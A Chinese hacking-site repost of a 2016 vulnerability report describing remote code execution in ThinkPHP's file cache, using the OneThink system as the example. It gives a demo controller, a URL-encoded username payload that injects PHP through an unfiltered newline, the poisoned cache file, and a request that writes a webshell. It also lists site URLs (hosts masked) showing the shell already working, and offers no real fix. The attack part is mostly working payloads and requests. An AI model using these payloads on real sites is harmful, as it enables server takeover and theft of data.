记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

thinkphp框架写的开源系统或被getshell tp官方onethink举例

2016-06-16 16:35

狗哥说要五个案例证明。。

谷歌下

gg.jpg



code 区域
http://**.**.**.**/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?3=assert&6=phpinfo%28%29;

http://**.**.**.**/ot/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?3=assert&6=phpinfo%28%29;

http://**.**.**.**/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?3=assert&6=phpinfo%28%29;

http://**.**.**.**/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?3=assert&6=phpinfo%28%29;

http://**.**.**.**/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?3=assert&6=phpinfo%28%29;



n1.jpg

n2.jpg

n3.jpg

n4.jpg

n5.jpg





问题出现在thinkphp的默认缓存方式S()是以File方式,在/Runtime/Temp 下生成缓存文件。

code 区域
使用系统内置的I函数是避免输入数据出现安全隐患的重要手段,I函数默认的过滤方法是htmlspecialchars,如果我们需要采用其他的方法进行安全过滤,有两种方式:

如果是全局的过滤方法,那么可以设置DEFAULT_FILTER,例如:

'DEFAULT_FILTER' => 'strip_tags',



tp.jpg



hhh.jpg



并且,文件缓存的名字是不会变的,也就是一套系统只要开源就有可能是被shell,例如onethink的文件缓存名:865e8245bc0c525aa4a48bfb433d7c3e.php,2bb202459c30a1628513f40ab22fa01a.php,所以不用担心找不到缓存文件位置。

了解了tp缓存方式和过滤之后我们来看一个demo,demo就是一个用户注册和一个用户登录,并且缓存用户登录信息。不管是strip_tags或者I函数默认过滤对下面不造成影响,我就不写了,管理自己测试吧。

code 区域
<?php

namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {

public function index(){

$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://**.**.**.**/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://**.**.**.**/stats?sId=9347272" charset="UTF-8"></script>','utf-8');

}

public function reg(){

$user=M("user");

$data['name'] = I("username");

$data['mima'] = "123456";

$user->add($data);

}

public function login(){

$id = I("id");

$user2=M("user")->where("id = $id")->find();



S('data',$user2['name']);





}

}



0.jpg



1.jpg





模拟post:**.**.**.**/index.php/Home/Index/reg注册一个账号

code 区域
username=%0D%0A%24a%3D%24_GET%5B3%5D%3B%2F%2F%0D%0A%24a%28%24_GET%5B6%5D%29%2F%2F



来看看数据库里面的内容

2.jpg



code 区域
不管是strip_tags还是htmlspecialchars并没有过滤\r\n换行。



继续往下看,我们登录这个账号并缓存登录的用户名(访问**.**.**.**/index.php/Home/Index/login/id/12)。

3.jpg



Application\Runtime\Temp 生成了缓存文件onethink_8d777f385d3dfec8815d20f7496026dc.php。

000.jpg



由于没有过滤换行符,导致

code 区域
<?php

//000000000000s:32:"

$a=$_GET[3];//

$a($_GET[6])//";

?>



4.jpg



code 区域
访问:**.**.**.**/Application/Runtime/Temp/onethink_8d777f385d3dfec8815d20f7496026dc.php?3=assert&6=file_put_contents%28%271.php%27,[email protected] %28$_POST[3]%29;?%3E%27%29



5.jpg



漏洞证明:

如果你不信我写的demo,那么来看看官方的onethink框架,下载地址http://**.**.**.**/Uploads/Editor/2014-11-03/5456e829d55eb.zip,没有修过一行代码,文件缓存名:865e8245bc0c525aa4a48bfb433d7c3e.php,2bb202459c30a1628513f40ab22fa01a.php,这里缓存名字是不会改变的,所以不用担心找不到缓存文件位置。

由于onethink的用户名字段限制了长度,那么我们注册两个账户。

QQ截图20160317123404.png



QQ截图20160317123514.png



QQ截图20160317123529.png



注册好了两个账户,我们来登陆。

QQ截图20160317123701.png



QQ截图20160317123731.png



QQ截图20160317123842.png



QQ截图20160317123852.png



成功了。

QQ截图20160317123944.png



我们来执行以下命令。

QQ截图20160317124030.png

修复方案:

省点心吧。


知识来源: www.wooyun.org/bugs/wooyun-2016-0185742

阅读:1733212 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“thinkphp框架写的开源系统或被getshell tp官方onethink举例”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

十年经营持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

🙇🧎¥由自富财,长成起一↓

标签云 ☁